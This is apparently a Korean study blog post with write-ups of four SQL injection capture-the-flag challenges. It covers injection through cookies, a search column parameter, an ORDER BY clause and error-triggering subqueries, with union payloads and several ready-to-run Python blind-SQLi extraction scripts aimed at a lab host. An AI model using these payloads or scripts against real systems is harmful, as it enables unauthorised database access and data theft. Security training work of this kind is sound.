SQL Injection
서버에서 준비한 쿼리문에 악의적인 의도를 가진 SQL구문을 주입하는 해킹 기법.
1. Union SQL Injection
SQL 질의 결과가 사이트 화면에 출력될 때
2. Error-Based SQL Injection
사이트에 질의문의 결과는 안 나와도 SQL 에러문이 출력될 때
3. Blind SQL Injection
질의문 결과나 에러문이 화면에 출력되지 않지만 쿼리의 참/거짓 결과를 구분할 수 있을 때
▶ 검색, 인증 뿐만 아니라 쿠키, 동적으로 할당되는 컬럼명, order by 절 등 쿼리가 사용되는 곳에서 SQL Injection이 일어날 수 있기 때문에 버프 스위트 등의 프록시 툴을 이용하여 요청에 어떤 파라미터를 가져가는지 확인해야함.
▶가져가는 파라미터를 어떤 쿼리문에서 사용하는지 생각하며 페이로드를 짜야 함.
케이스 목록
- CTF1: 마이페이지 - 쿠키
- CTF2: 검색창 - 필터 - 컬럼명
- CTF3: 검색창 - order by 정렬
- CTF4: 마이페이지 - 참/거짓 결과 모호 - 매트릭스
공통 목차
- SQL Injection 포인트 찾기
- 페이로드 짜기 (Blind SQL Injection의 경우 파이썬 코딩 포함)
- 데이터 추출
SQL Injection CTF 풀이
♪ CTF - 1
마이페이지 - 쿠키
1) SQL Injection 포인트 찾기
사이트에 접속 |
가입된 계정으로 로그인 |
마이페이지에 입장 |
버프 스위트로 쿠키 확인 세션아이디와 사용자 계정 정보가 쿠키에 저장됨을 발견함 |
gaga' 입력 후 재요청 결과 응답 데이터에 변화가 생김. info 인풋 태그에 'Nothing Here...'라는 문구가 사라짐. |
마이페이지에서 쿠키값을 이용해 DB에 접근 중
gaga' and '1'='1과 gaga' and '1'='2를 각각 요청한 결과 항상 거짓인 조건과 함께 썼을 때 info 데이터가 출력되지 않음. |
사용자 입력값을 쿼리문의 일부로 인식하고 있음
→ SQL Injection 포인트 발견
2) 페이로드 짜기
Union SQL Injection
▷ 서버측 쿼리문 추측하기
앞선 단계에서 쿠키값을 매개로 데이터를 가져옴을 발견함.
서버측 쿼리엔 적어도 아래와 같은 코드가 포함되어 있을 것으로 생각됨.
SELECT ______ FROM _____ WHERE id = 'user쿠키값';
▷ 공격 방법 정하기
DB데이터가 2번째 칸에 출력되고 있으므로 UNION SQL Injection이 가능할 것으로 보임.
▷ UNION SQL Injection의 절차
- 서버에서 사용 중인 컬럼 개수 찾기
- 데이터 출력하는 컬럼의 위치 찾기
- 서버에서 사용 중인 DB명 찾기
- 테이블명 찾기
- 컬럼명 찾기
- 데이터 출력하기
▷ 각 단계별 페이로드
1. 컬럼 개수 찾기
gaga' order by __ , '1'='1
// 아래부터 서버 사용 컬럼 개수가 5개인 것으로 가정
2. 컬럼 위치 찾기
gaga' union select 1,2,3,4,5 limit 1,1
// 아래부터 'Nothing Here...'가 4번째 컬럼에서 출력되고 있다는 것을 가정
3. 서버에서 사용 중인 DB명 찾기
gaga' union select 1,2,3,database(),5 limit 1,1
// 아래부터 DB명이 'sqli_6'이라고 가정
4. 테이블명 찾기
gaga' union select 1,2,3,table_name,5 from information_schema.tables where table_schema='sqli_6' limit 1,1
// 'flag_table'이라는 테이블을 발견했다고 가정
5. 컬럼명 찾기
gaga' union select 1,2,3,column_name,5 from information_schema.columns where table_name='flag_table' limit 1,1
// 'flag'라는 컬럼을 발견했다고 가정
6. 데이터 추출
gaga' union select 1,2,3, flag,5 from flag_table limit 1,1
***정석은 이런 식이지만 주석을 쓰지 않고 서버 쿼리문의 마지막 작은 따옴표 처리고자 했기 때문에 약간씩 변형하여 사용함.
3) 데이터 추출
▷ 컬럼 개수
각 결과에 따라 서버에서 사용 중인 컬럼 개수는 총 1개인 것으로 추측 |
▷ 컬럼 위치 (뻔하다)
gaga' union select 1 order by 1, '1 입력 결과 데이터가 출력되는 컬럼은 첫번째에 있음을 확인함 |
▷ DB명 찾기
gaga' union select database() order by 1 desc, '1 입력 결과 서버의 DB명이 'sqli_6'이라는 것을 발견 |
***desc 순으로 정렬해야 DB명이 출력됨
▷ 테이블명 찾기
gaga' union select table_name from information_schema.tables where table_schema='sqli_6' order by 1 desc, '1 입력 결과 결과 테이블의 마지막 행에 'Nothing Here...'가 있음을 발견 |
gaga' union select table_name from information_schema.tables where table_schema='sqli_6' order by 1, '1 입력 결과 board라는 테이블 발견 |
gaga' union select table_name from information_schema.tables where table_schema='sqli_6' and table_name not in ('board') order by 1, '1 입력 결과 flag_table이라는 테이블 발견 => 유력 |
gaga' union select table_name from information_schema.tables where table_schema='sqli_6' and table_name not in ('board', 'flag_table') order by 1, '1 입력 결과 member라는 테이블 발견 |
gaga' union select table_name from information_schema.tables where table_schema='sqli_6' and table_name not in ('board', 'flag_table', 'member') order by 1, '1 입력 결과 Nothing Here... 발견 => 테이블 더이상 없음 |
총 3개의 테이블 발견 < board, flag_table, member >
***flag를 찾는 것이 목표이기 때문에 flag_table을 위주로 탐색
▷ 컬럼명 찾기
gaga' union select column_name from information_schema.columns where table_name='flag_table' order by 1 desc, '1 입력 결과 결과 테이블 마지막 행에 'Nothing Here...'가 있다는 것을 발견 |
gaga' union select column_name from information_schema.columns where table_name='flag_table' order by 1, '1 입력 결과 flag라는 컬럼 발견 => 유력 |
gaga' union select column_name from information_schema.columns where table_name='flag_table' and column_name not in ('flag') order by 1, '1 입력 결과 idx라는 컬럼 발견 |
gaga' union select column_name from information_schema.columns where table_name='flag_table' and column_name not in ('flag', 'idx') order by 1, '1 입력 결과' 'Nothing Here...' 발견. =>더이상 컬럼 없음 |
▷ 데이터 추출
gaga' union select flag from flag_table where idx=1 order by 1, '1 입력 결과 FlagIsHere! Come 이라는 문자열 발견 |
gaga' union select flag from flag_table where idx=2 order by 1, '1 입력 결과 'Nothing Here...'발견 |
gaga' union select flag from flag_table where idx=2 order by 1 desc, '1 입력 결과 flag 발견 |
sqli_6. flag_table. flag -> 두번째 행에서 flag를 발견할 수 있었음.
주저리
혼자 먼저 풀어볼 땐 이전에 만들었던 Blind SQLi 파이썬 툴을 수정해 사용했다.
내가 왜 Blind로 풀었었는지를 까먹고 지금 다시 정리하려고 풀다보니 UNION도 가능할 것 같아서 시도해봤다.
(그리고 내가 마지막 작은 따옴표 때문에 union을 버렸다는 걸 깨달음)
나름대로 주석을 안 쓰고 UNION SQL Injection을 해보려고 우겨넣었는데 컬럼이 뒤지게 많은 실제 사이트에서 쓰기는 힘들 것 같다.
실제 사이트에서 할 땐 차라리 Blind SQL Injection 파이썬 툴을 만드는 게 더 빠를 것 같다...
♪ CTF - 2
검색창 - 필터 - 컬럼명
1) SQL Injection 포인트 찾기
▷ 탐색하기
사이트에 접속하여 가입된 계정으로 로그인 |
게시판 입장 |
작성자를 기준으로 g가 포함된 게시글 검색 |
요청 데이터에 포함된 파라미터를 확인 |
검색 과정에서 POST방식으로 전송하는 파라미터
- option_val=username
- board_reslut=g
- board_search=어쩌구
- date_from=
- date_to=
각각의 파라미터가 무엇을 의미하는지 확인하기 위해 재검색
제목을 기준으로 a가 포함된 결과를 검색 |
검색 결과 alert창 출력됨. |
제목을 기준으로 a가 포함된 결과를 검색한 결과
요청 파라미터 값이 변한 것이 있음.
- option_val=title
- board_result=a
- board_search=어쩌구
- date_from=
- date_to=
option_val과 board_result값이 변함.
option_val | board_result | |
작성자를 기준으로 g를 포함한 데이터를 검색 |
username | g |
제목을 기준으로 a를 포함한 데이터를 검색 |
title | a |
▷ 서버측 쿼리문 추측하기
- option_val라는 검색 기준을 사용 중
- board_result의 값이 포함된 데이터 식별
위 두 조건을 고려할 때 서버에서는 아래와 같은 쿼리문을 사용할 가능성이 높음.
SELECT ___ FROM ____ WHERE [option_val] LIKE '$[board_result]%';
> option_val로 지정된 컬럼에서 board_result로 지정된 문자가 포함된 데이터를 색출함.
여기서 사용자가 값을 넣을 수 있는 두 부분이 있으므로 SQL Injection이 시도될 수 있는 부분도 두 곳임.
하지만 검색창에 g%' and '1%'='1 을 넣었을 때 g를 포함한 결과가 아니라 alert창이 출력되고 있므로 이 위치에선 SQLi에 대한 대응을 하고 있다고 보임.
▷ SQLi 포인트 찾기
- board_result
검색어 위치에 g%' and '1%' ='1 입력 결과 g만 넣어 검색한 결과와 같지 않음 => 입력한 특수문자가 쿼리문의 일부로 인식되지 않음, SQL Injection 불가 |
- option_val
option_val 값에 (1=1) and username과 (1=2) and username 입력 결과 항등원을 넣었을 때만 검색결과가 출력됨 => SQL Injection 가능함 |
검색 쿼리의 조건절 컬럼명에서 SQLi 발견
→ SQL Injection 포인트 발견
2) 페이로드 짜기
Blind SQL Injection
Blind SQL Injection
- 데이터를 뽑는 쿼리에서 글자 하나를 뽑음
- 그 글자를 아스키코드로 변환함
- 변환한 아스키코드를 이진탐색으로 찾음
- 찾은 아스키코드를 리스트에 저장
- 모두 찾아낸 후 리스트의 값을 하나씩 뽑아서 문자로 변환
- 변환한 데이터 출력
▷1~3번
예를 들어 서버에서 사용 중인 DB명의 첫글자를 알아내려면 이런 페이로드를 만들 수 있음
(ascii(substr((select database()), 1, 1)) > 79) and username
// 데이터를 뽑는 쿼리에서 글자 하나를 뽑음
// 그 글자를 아스키코드로 변환함
// 변환한 아스키코드를 이진탐색으로 찾음
// 79는 문자를 아스키코드로 변환시킨 33에서 126 사이의 값임
그럼 서버의 쿼리문은 아래와 같이 변할 것임.
SELECT ___ FROM ____
WHERE (ascii(substr((select database()), 1, 1)) > 79) and username LIKE '%g%';
DB명 첫글자의 아스키코드가 79보다 크다면 조건은 참이되고 and로 연결된 두번째 조건을 수행함.
==> g를 검색한 결과가 화면에 표시될 것.
(ascii(substr((select database()), 1, 1)) > 79) and username을 입력한 결과 g를 검색했을 때와 동일한 결과가 화면에 출력됨. ==>> DB명 첫글자의 범위는 126~79로 좁혀짐. |
▷파이썬 자동화 코드
import requests
url = "http://ctf2.segfaulthub.com:7777/sqli_7/notice_list.php"
sql = input("SQL> ")
#글자 수 알아내기
n = 0
for n in range(1, 51) :
len_payload = f"length(({sql})) > {n}"
data = {
'option_val' : f"({len_payload}) and username",
'board_result' : 'g',
'board_search' : '%F0%9F%94%8D'
}
cookie = {
'PHPSESSID' : 'f2tkdt29rpchendkc9dat7746t'
}
response = requests.post(url, data = data, cookies=cookie)
if "존재하지 않습니다." in response.text :
print(f"글자 수: {n}")
break
else :
continue
#글자 알아내기
ascii_list = [] #나온 아스키코드 저장할 변수
for i in range(1, n+1) :
min = 33 #최소값
max = 126 #최대값
while max > min :
j = (max+min)//2 #기준값
payload = f"ascii(substr(({sql}), {i}, 1)) > {j}"
data = {
'option_val' : f"({payload}) and username",
'board_result' : 'g',
'board_search' : '%F0%9F%94%8D'
}
cookie = {
'PHPSESSID' : 'f2tkdt29rpchendkc9dat7746t'
}
response = requests.post(url, data = data, cookies = cookie)
if "존재하지 않습니다." in response.text :
max = j
else :
min = j + 1
ascii_list.append(min)
result = "". join(chr(c) for c in ascii_list)
print(f"추출된 데이터: {result}")
- 파이썬으로 사이트에 요청을 보내기 위해 requests 불러옴
- 요청 보낼 사이트 url 변수에 저장
- select database() 등 데이터 추출할 쿼리를 입력받아 변수 저장
→ 글자 수 찾는 코드
- 글자 수를 저장할 변수 n을 선언
- 1부터 50까지 1씩 증가시키며 반복문 실행
- 글자 수를 비교할 페이로드 저장
- POST방식으로 보낼 파라미터에 맞춰 페이로드 저장 (username 이용)
- 쿠키에 세션아이디 저장 (안하면 안 보내짐)
- url과 쿠키헤더, 파라미터를 세팅하고 POST요청 보냄 + 돌아온 응답을 변수에 저장
- 응답 본문에 "존재하지 않습니다."라는 문구가 있으면 글자 수 출력 (n보다 크지 않다 -> n과 같다)
→ 데이터 뽑는 코드
- 찾은 아스키코드 저장할 변수 선언
- 반복문을 찾은 글자 수(n)만큼 실행 + i번째 글자에 대해 탐색
- 이진탐색을 실행할 범위 설정 (아스키코드 문자 범위: 33~126)
- 페이로드 포함한 요청을 보낼 조건 설정 -> 최대값이 최소값보다 큰 동안 실행 (같거나 작아지면 멈춤)
- 아스키코드 범위를 갱신할 기준값(j) 설정
- 원하는 데이터의 i번째 글자의 아스키코드가 j보다 큰지 확인할 페이로드 작성
- POST 요청에 포함할 파라미터 설정 (username 이용)
- 쿠키 헤더에 세션아이디 설정
- 요청 보낸 뒤 응답 값 저장
- 응답 본문에 "존재하지 않습니다."가 포함되면 (j보다 작으면) j를 최대값으로 갱신
- 그게 아니면 (j보다 큰 게 참이면) j에 1을 더한 값을 최소값으로 갱신 (커야하므로 같은 값도 제외)
- 이진탐색 결과 max와 min이 같아지면 while문을 빠져나와 리스트에 해당 아스키코드 추가
- 최종 리스트에서 요소를 하나씩 뽑아 문자로 변환하고 하나의 문자열로 바꿔 result에 저장
- 최종 데이터 문자열을 출력
≫ DB명 찾기
상단의 run버튼을 눌러 파이썬 프로그램을 실행시킴 |
select database()를 입력하고 엔터를 누름 |
결과로 출력된 데이터를 확인 |
≫ 테이블명 찾기
다시 run버튼을 눌러 프로그램을 실행 테이블명을 찾는 쿼리를 입력 (limit 0,1을 추가해 첫 행 결과로 나온 테이블명을 찾음) |
첫번째 결과 확인 => board 테이블 발견 |
두번째 테이블 발견 => flagTable |
≫ 컬럼명 찾기
컬럼명 찾는 쿼리를 입력한 결과 두번째 행에서 flag 컬럼 발견 |
≫ 데이터 추출
flagTable 테이블의 flag행 데이터를 idx 순서로 추출한 결과 세번째 행에서 flag 발견함 |
limit 안 써도 주루룩 출력됐으면 좋겠다...
라는 생각으로 접근해본
객체지향 버전 파이썬 프로그램
import requests
class sqlGen:
def __init__(self, sql):
self.sql = sql
def generate_limit_query(self,offset):
return f"{self.sql} limit {offset},1"
def generate_length_query(self,limit_query):
return f"length(({limit_query}))"
class sendRequest:
def __init__(self,url,cookies):
self.url = url
self.cookies = cookies
def send(self,payload):
data = {
'option_val' : f"({payload}) and username",
'board_result' : 'g',
'board_search' : '%F0%9F%94%8D'
}
response = requests.post(self.url,data=data,cookies=self.cookies)
return response.text
class BlindSQLInjector:
def __init__(self,sql,url,cookies):
self.sql = sql
self.url = url
self.cookies = cookies
self.sql_generator = sqlGen(sql)
self.request = sendRequest(url,cookies)
def get_length(self,limit_query):
for n in range(1,51):
length_query = self.sql_generator.generate_length_query(limit_query)
payload = f"{length_query} > {n}"
response = self.request.send(payload)
if "존재하지 않습니다." in response:
if n == 1:
return
else:
return n
def get_data(self):
offset = 0
while True:
limit_query = self.sql_generator.generate_limit_query(offset)
n = self.get_length(limit_query)
if n is None:
print("데이터 없음.")
break
else:
ascii_list = []
for i in range(1,n+1):
min = 33
max = 126
while max > min:
j = (min+max)//2
ascii = f"ascii(substr(({limit_query}),{i},1))"
payload = f"{ascii} > {j}"
response = self.request.send(payload)
if "존재하지 않습니다." in response:
max = j
else:
min = j +1
ascii_list.append(min)
result = "".join(chr(c) for c in ascii_list)
print(f"[{offset}]: {result}")
offset += 1
if __name__ == "__main__":
sql = input("SQL> ")
url = "http://ctf2.segfaulthub.com:7777/sqli_7/notice_list.php"
cookies = {'PHPSESSID':'18817aeuej7m4l204oqvm8sq34'}
injector = BlindSQLInjector(sql,url,cookies)
injector.get_data()
쿼리 만드는 애들 sqlGen |
init 1) 입력 받은 SQL쿼리 |
generate_limit_query 1) 매개변수: offset 2) 얘 호출하는 애한테서 offset값 받아서 입력받은 쿼리 뒤에 limit 0,1 같은 거 붙여서 돌려줌 3) EX -> select flag from flagTable limit 0,1 |
generate_length_query 1) 매개변수: limit붙인 쿼리 2) 얘 호출하는 애한테서 limit붙인 쿼리를 받아 데이터 글자 수 알아내는 페이로드에 넣어줌 3) EX -> length((select database())) |
요청 보내고 응답 받는 애들 sendRequest |
init 1) 공격할 url 2) 요청에 필요한 쿠키 |
send 1) 매개변수: payload 2) 얘 호출하는 애한테서 공격 payload를 받아 post요청으로 보낼 데이터에 넣어서 쿠키, url이랑 같이 요청 보내고 받은 응답을 변수에 저장. 응답에서 본문을 뽑아 얘 호출한 애한테 전달 3) length((select database())) > 4 전달 받아서 데이터에 (length() > 4) and username 이랑 기타등등 넣고 전송. 응답 데이터 받아서 get_length메소드에 전달. |
|
원하는 데이터 뽑는 애들 BlindSQLInjector |
init 1) 입력 받은 SQL쿼리 2) 공격할 url 3) 요청에 필요한 쿠키 4) 쿼리 만드는 애랑 요청 보내고 응답 받는 애한테 접근할 인스턴스 저장 |
get_length 1) 매개변수: select flag from flagTable limit 1,1 같은 거 2) 얘 호출한 애한테서 위 매개변수를 받아 length 함수로 감싸고 n이랑 크기 비교하는 페이로드 만듦. 이때 n은 1부터 50까지 1씩 커지는 값을 가짐. 3) 어떤 n 값을 넣어서 보냈을 때 응답에 "존재하지 않습니다."라는 문자열이 있으면(페이로드가 참이면) n값을 1과 비교해서 1이면 메소드 종료하고 이 메소드를 호출했던 애한테 none반환 (->글자 수 1이면 데이터가 없다고 간주함) 4) n이 1이 아니면 n값 반환 |
get_data 1) 반환된 글자 수가 1이면 break하는 while문 2) 그 안에 반환된 글자 수(n) 받아서 첫번째 글자부터 i번째 글자까지 n만큼 반복해서 뽑는 코드 3) 뽑은 글자를 아스키코드로 바꾸고 이진탐색하는 코드 for문. 페이로드가 참이면(아스키코드가 기준값보다 크면) 최소값을 현재 기준값+1로 갱신. 페이로드가 거짓이면(아스키코드가 기준값보다 작으면) 최대값을 현재 기준값으로 갱신. 4) 찾은 아스키코드들을 리스트에 저장하고 리스트 값을 하나씩 뽑아 문자로 변환한 뒤 하나의 문자열로 저장/출력 5) for문 한 턴이 끝나면 offset+1해서 다음 데이터 행 찾는 코드 실행 (limit 0,1 -> limit 1,1) |
실행 코드 if __name__ == "__main__" |
1) 쿼리 입력받아 변수에 저장 2) 공격할 url 변수에 저장 3) 요청 보낼 때 필요한 쿠키 데이터 저장 4) BlindSQLInjector 생성자 호출하며 데이터 전달 (실제 실행할 메소드가 이 클래스에 있음) 5) injector 인스턴스로 BlindSQLInjector 클래스 내부 메소드 실행 |
- 클래스는 한 문장으로 딱 떨어지게 역할을 정해줘야 안 헷갈림 (쉽다는 뜻은 아니지만 대가리 덜 깸)
- 반복문 안에서 변수 초기화를 어디에 넣어야하는지 주의
- return만 쓰면 메소드 종료하며 none을 반환함
[+] if __name__=="__main__" 의미:
import로 불러올 때 말고 직접 실행할 때 아래 코드 동작함. (직접 실행될 때 __name__내장변수에 __main__이라는 값이 저장됨)
약점
select database()를 실행할 경우 결과가 'sqli_7' 하나만 나오는데 이게 limit 0,1일 때만 나오는 게 아니라 limit 1,1부터 그냥 계~속 나옴.
DB명을 몰라도 테이블 이름에서 바로 table_schema=database()로 넣으면 되긴 하지만 한 페이지에서 여러 DB를 사용하는 경우도 있을지는 모르겠다..그럴 때를 대비해 그냥 select database()를 실행하고 대충 결과 반복되면 ctrl+c로 강제종료하는 방법도 있음...(찝찝)
♪ CTF - 3
검색창 - 정렬(order by)
1) SQL Injection 포인트 찾기
▷탐색하기
사이트의 게시판에 접속하여 g를 검색 |
요청으로 보낸 데이터 확인 sort라는 파라미터를 발견 => order by절일 수 있음 order by절은 prepared statement를 적용할 수 없는 대표적인 곳이니 확인 필수 |
*order by절이 맞는지 확인하기 ↓
sort의 파라미터가 1일 때와 999일 때 출력되는 화면 비교 999일 때 게시물 출력 안됨 -> 서버에서 사용하는 컬럼 개수를 초과한 값이라 안 나옴 order by 절일 가능성이 큼 |
▷서버측 쿼리문 예상하기
- 사용 중인 파라미터
option_val=username (조건절의 컬럼명)
board_result=g (like 구문에 들어가는 검색어)
board_search=%F0%9F%94%8D (안 바뀜 -> 의미 없음)
date_from= (데이터 없음->의미 노)
date_to= (데이터 없음->의미 노)
sort=username (order by절의 정렬 기준 컬럼명)
SELECT ____ FROM ___
WHERE [option_val] LIKE '%[board_result]%'
ORDER BY [sort]
▷ SQLi 포인트 찾기
- 서버에서 사용 중인 컬럼명을 알 경우
order by case when (조건) then title else username end
1) 조건이 참일 경우 title 컬럼을 기준으로 정렬
2) 조건이 거짓일 경우 username 컬럼을 기준으로 정렬
조건이 항상 참(1=1)이기 때문에 사용자 이름을 기준으로 정렬하여 출력 (사용자 이름은 gaga로 모두 동일 -> 오래된 게시물부터 출력) |
조건이 항상 거짓(1=2)이기 때문에 title 컬럼을 기준으로 정렬하여 출력 [0-9, 가-하] 순서로 출력 |
- 서버에서 사용 중인 컬럼명을 모를 경우
order by (조건) then 1 else (select 1 union select 2) end
1) 조건이 참일 경우 모든 행에 정렬기준값 1 반환 -> 순서 변화 없이 출력됨
2) 조건이 거짓일 경우 모든 행에 2행 1열의 값(매트릭스) 반환 -> order by 절은 매트릭스를 처리할 수 없음 -> 오류
-> 결과 출력 안됨
조건이 항상 참(1=1)일 경우 모든 행에 정렬기준값 1 반환 게시물 정렬 순서 변화 없이 정상 출력 |
조건이 항상 거짓(1=2)일 경우 모든 행에 2행 1열의 매트릭스 값 반환 order by 절은 매트릭스를 처리할 수 없어서 오류 일으킴 결과 출력 안됨 |
검색 쿼리의 ORDER BY절에서 SQLi 발견
→ SQL Injection 포인트 발견
2) 페이로드 짜기
Blind SQL Injection
# 데이터 글자 수 알아내기
ORDER BY (length((select _____)) > n ) THEN 1 ELSE (select 1 union select 2) end
# 데이터 뽑기
ORDER BY (ascii(substr((select ____),i, 1)) > j ) THEN 1 ELSE (select 1 union select 2) end
▷ 글자 수 알아내기 예시
DB명의 글자 수가 6과 같은지 묻는 쿼리를 조건에 넣고 요청 전송 게시물 정상 출력 -> 조건이 참 -> 글자 수 6자 |
▷ 데이터 뽑기 예시
서버에서 사용 중인 DB명의 첫 글자를 아스키코드로 바꿨을 때 그 값이 79보다 큰지 묻는 쿼리를 조건에 삽입 후 요청 전송 게시물 정상 출력됨 -> 조건 참 -> DB명 첫 글자는 아스키코드 79보다 큼 |
▷파이썬 자동화 코드
2번이랑 거의 똑같음
import requests
class sqlGen:
def __init__(self, sql):
self.sql = sql
def generate_limit_query(self,offset):
return f"{self.sql} limit {offset},1"
def generate_length_query(self,limit_query):
return f"length(({limit_query}))"
class sendRequest:
def __init__(self,url,cookies):
self.url = url
self.cookies = cookies
def send(self,payload):
data = {
'option_val' : 'username',
'board_result' : 'g',
'board_search' : '%F0%9F%94%8D',
'sort' : f"case when ({payload}) then 1 else (select 1 union select 2) end"
}
response = requests.post(self.url,data=data,cookies=self.cookies)
return response.text
class BlindSQLInjector:
def __init__(self,sql,url,cookies):
self.sql = sql
self.url = url
self.cookies = cookies
self.sql_generator = sqlGen(sql)
self.request = sendRequest(url,cookies)
def get_length(self,limit_query):
for n in range(1,51):
length_query = self.sql_generator.generate_length_query(limit_query)
payload = f"{length_query} > {n}"
response = self.request.send(payload)
if "존재하지 않습니다." in response:
if n == 1:
return
else:
return n
def get_data(self):
offset = 0
while True:
limit_query = self.sql_generator.generate_limit_query(offset)
n = self.get_length(limit_query)
if n is None:
print("데이터 없음.")
break
else:
ascii_list = []
for i in range(1,n+1):
min = 33
max = 126
while max > min:
j = (min+max)//2
ascii = f"ascii(substr(({limit_query}),{i},1))"
payload = f"{ascii} > {j}"
response = self.request.send(payload)
if "존재하지 않습니다." in response:
max = j
else:
min = j +1
ascii_list.append(min)
result = "".join(chr(c) for c in ascii_list)
print(f"[{offset}]: {result}")
offset += 1
if __name__ == "__main__":
sql = input("SQL> ")
url = "http://ctf2.segfaulthub.com:7777/sqli_8/notice_list.php"
cookies = {'PHPSESSID':'18817aeuej7m4l204oqvm8sq34'}
injector = BlindSQLInjector(sql,url,cookies)
injector.get_data()
1) 쿼리에 LIMIT이나 LENGTH 붙이는 애들
2) 요청 보내서 응답 받는 애들
3) 글자 길이랑 데이터 찾는 애들
4) 실제 실행 코드
2번 문제에서 쓴 코드와 바뀐 거:
- 요청에 넣을 url
- 요청에 넣을 파라미터 (sort 추가)
- 추가한 sort에 case when 파라미터 적용
상황에 따라 더 수정할 부분:
- 세션 아이디 등 쿠키 데이터
- 참/거짓을 판별할 서버의 응답 ("존재하지 않습니다." 대체)
≫ 테이블명 찾기
≫ 컬럼명 찾기
≫ 데이터 뽑기
♪ CTF - 4
마이페이지 - 쿠키 - 에러 유발
1) SQL Injection 포인트 찾기
▷탐색하기
사이트에 접속 |
가입되어있는 계정으로 로그인 |
마이페이지 접속 |
마이페이지 요청 시 쿠키 데이터에 사용자 정보를 가지고 가는 것을 확인 |
쿠키 데이터를 gaga에서 gaga'로 변경하여 재요청한 결과 DB Error... 라는 문구 출력 마이페이지 데이터를 가지고 올 때 쿠키 데이터를 사용하고 있음을 알 수 있음 |
▷서버측 쿼리문 추측하기
SELECT ___ FROM ___ WHERE id = '$_COOKIE['user']'
▷SQL Injection 포인트 찾기
참('1'='1'), 거짓('1'='2') 조건에 대한 서버의 반응을 알아내기 위해 쿠키에 해당 값을 포함하여 재요청 사용자 이름을 출력하는 위치 외에는 변화가 없음 -> 참/거짓 반응으로 SQLi를 시도하기 힘듦 |
조건의 참/거짓 여부에 따라 DB 에러를 일으키는 방식으로 SQL Injection을 시도해야함 Blind SQL Injection으로 시도 |
마이페이지의 쿠키 데이터에서 SQL Injection포인트 발견
→ SQL Injection 포인트 발견
2) 페이로드 짜기
Blind SQL Injection
gaga' and (select 1 union select 2 where (조건)) and '1'='1
- 조건이 참이면 union select가 살아남 -> 매트릭스 발생 -> DB에러
- 조건이 거짓이면 union select 죽음 -> select 1만 적용 -> 마이페이지 정상 출력
# 글자 수 찾기
gaga' and (select 1 union select 2 where (length((select ___)) > n )) and '1'='1
# 데이터 뽑기
gaga' and (select 1 union select 2 where (ascii(substr((select ___), i, 1)) > j)) and '1'='1
▷ 글자 수 알아내기 예시
DB명이 6글자이면 (참이면) union select가 살아나서 매트릭스 발생 -> 에러 에러 발생함 -> 조건은 참임 -> DB명 6글자 |
▷ 데이터 뽑기 예시
DB명 첫글자의 아스키코드가 126보다 크면 매트릭스 발생 -> 에러 요청 보냈더니 화면에 마이페이지 정상 출력 -> 에러 안 남 -> 아스키코드 126보다 같거나 작음 (당연함 문자의 아스키코드는 가장 큰 값이 126임) |
▷파이썬 자동화 코드
import requests
class sqlGen:
def __init__(self, sql):
self.sql = sql
def generate_limit_query(self,offset):
return f"{self.sql} limit {offset},1"
def generate_length_query(self,limit_query):
return f"length(({limit_query}))"
class sendRequest:
def __init__(self,url):
self.url = url
def send(self,payload):
cookie = {
'PHPSESSID':'h3dt8iovgfrrummile5rg889rj',
'user':f"gaga' and (select 1 union select 2 where ({payload})) and '1"
}
response = requests.post(self.url,cookies=cookie)
return response.text
class BlindSQLInjector:
def __init__(self,sql,url):
self.sql = sql
self.url = url
self.sql_generator = sqlGen(sql)
self.request = sendRequest(url)
def get_length(self,limit_query):
for n in range(1,51):
length_query = self.sql_generator.generate_length_query(limit_query)
payload = f"{length_query} > {n}"
response = self.request.send(payload)
if "개인정보" in response:
if n == 1:
return
else:
return n
def get_data(self):
offset = 0
while True:
limit_query = self.sql_generator.generate_limit_query(offset)
n = self.get_length(limit_query)
if n is None:
print("데이터 없음.")
break
else:
ascii_list = []
for i in range(1,n+1):
min = 33
max = 126
while max > min:
j = (min+max)//2
ascii = f"ascii(substr(({limit_query}),{i},1))"
payload = f"{ascii} > {j}"
response = self.request.send(payload)
if "DB Error..." in response:
min = j + 1
else:
max = j
ascii_list.append(min)
result = "".join(chr(c) for c in ascii_list)
print(f"[{offset}]: {result}")
offset += 1
if __name__ == "__main__":
sql = input("SQL> ")
url = "http://ctf2.segfaulthub.com:7777/sqli_9/mypage.php"
injector = BlindSQLInjector(sql,url)
injector.get_data()
2,3번 문제에서 쓴 코드와 바뀐 거:
- 요청에 넣을 url
- 요청에 넣을 data삭제 + 쿠키 위치 변경
- 쿠키가 요청 클래스에 들어가서 다른 메소드에 있던 cookies 파라미터 삭제 (전달하지 않아도 요청 클래스에서 포함)
- 쿠키에서 페이로드 적용
- 참/거짓을 판별할 서버의 응답(데이터 찾는 클래스에서 페이로드 참일 경우 응답 본문에 'DB Error...' 포함, 글자 수 찾는 클래스에서 거짓일 경우 -글자 수가 n보다 같거나 작을 경우 - 응답 본문에 '개인정보' 포함)
상황에 따라 더 수정할 부분:
- 요청 파라미터 등
≫ 테이블명 찾기
≫ 컬럼명 찾기
≫ 데이터 뽑기
'자습' 카테고리의 다른 글
CTF: 어드민은 내 것이다. (0) | 2024.11.23 |
---|